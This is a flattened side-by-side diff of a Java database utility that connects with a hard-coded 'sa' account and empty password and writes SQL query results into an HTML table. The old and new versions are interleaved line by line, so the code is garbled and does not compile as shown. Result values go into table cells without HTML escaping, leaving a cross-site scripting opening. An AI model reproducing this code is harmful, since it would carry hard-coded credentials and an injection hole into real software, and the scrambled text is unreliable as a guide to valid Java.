String url = context.getDatabaseConnectionString().replaceAll("\\$\\{USER\\}", user); String url = context.getDatabaseConnectionString().replaceAll("\\$\\{USER\\}", user);
return DriverManager.getConnection(url, "sa", ""); return DriverManager.getConnection(url, "sa", "");
} }
/**
* Description of the Method
*
* @param results Description of the Parameter
* @param resultsMetaData Description of the Parameter
*
* @return Description of the Return Value
*
* @exception IOException Description of the Exception
* @exception SQLException Description of the Exception
*/
public static MultiPartElement writeTable(ResultSet results,
ResultSetMetaData resultsMetaData) throws IOException, SQLException
{
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
if (results.next()) /**
* Description of the Method
*
* @param results
* Description of the Parameter
* @param resultsMetaData
* Description of the Parameter
*
* @return Description of the Return Value
*
* @exception IOException
* Description of the Exception
* @exception SQLException
* Description of the Exception
*/
public static MultiPartElement writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException
{ {
Table t = new Table(1); // 1 = with border int numColumns = resultsMetaData.getColumnCount();
t.setCellPadding(1); results.beforeFirst();
TR tr = new TR(); if (results.next())
for (int i = 1; i < (numColumns + 1); i++)
{
tr.addElement(new TD(new B(resultsMetaData.getColumnName(i))));
}
t.addElement(tr);
results.beforeFirst();
while (results.next())
{
TR row = new TR();
for (int i = 1; i < (numColumns + 1); i++)
{ {
String str = results.getString(i); Table t = new Table(1); // 1 = with border
if (str == null) t.setCellPadding(1);
str = "";
row.addElement(new TD(str.replaceAll(" ", "&nbsp;"))); TR tr = new TR();
for (int i = 1; i < (numColumns + 1); i++)
{
tr.addElement(new TD(new B(resultsMetaData.getColumnName(i))));
}
t.addElement(tr);
results.beforeFirst();
while (results.next())
{
TR row = new TR();
for (int i = 1; i < (numColumns + 1); i++)
{
String str = results.getString(i);
if (str == null) str = "";
row.addElement(new TD(str.replaceAll(" ", "&nbsp;")));
}
t.addElement(row);
}
return (t);
}
else
{
return (new B("Query Successful; however no data was returned from this query."));
} }
t.addElement(row);
}
return (t);
} }
else
{
return (new B(
"Query Successful; however no data was returned from this query."));
}
}
} }

Some files were not shown because too many files have changed in this diff Show More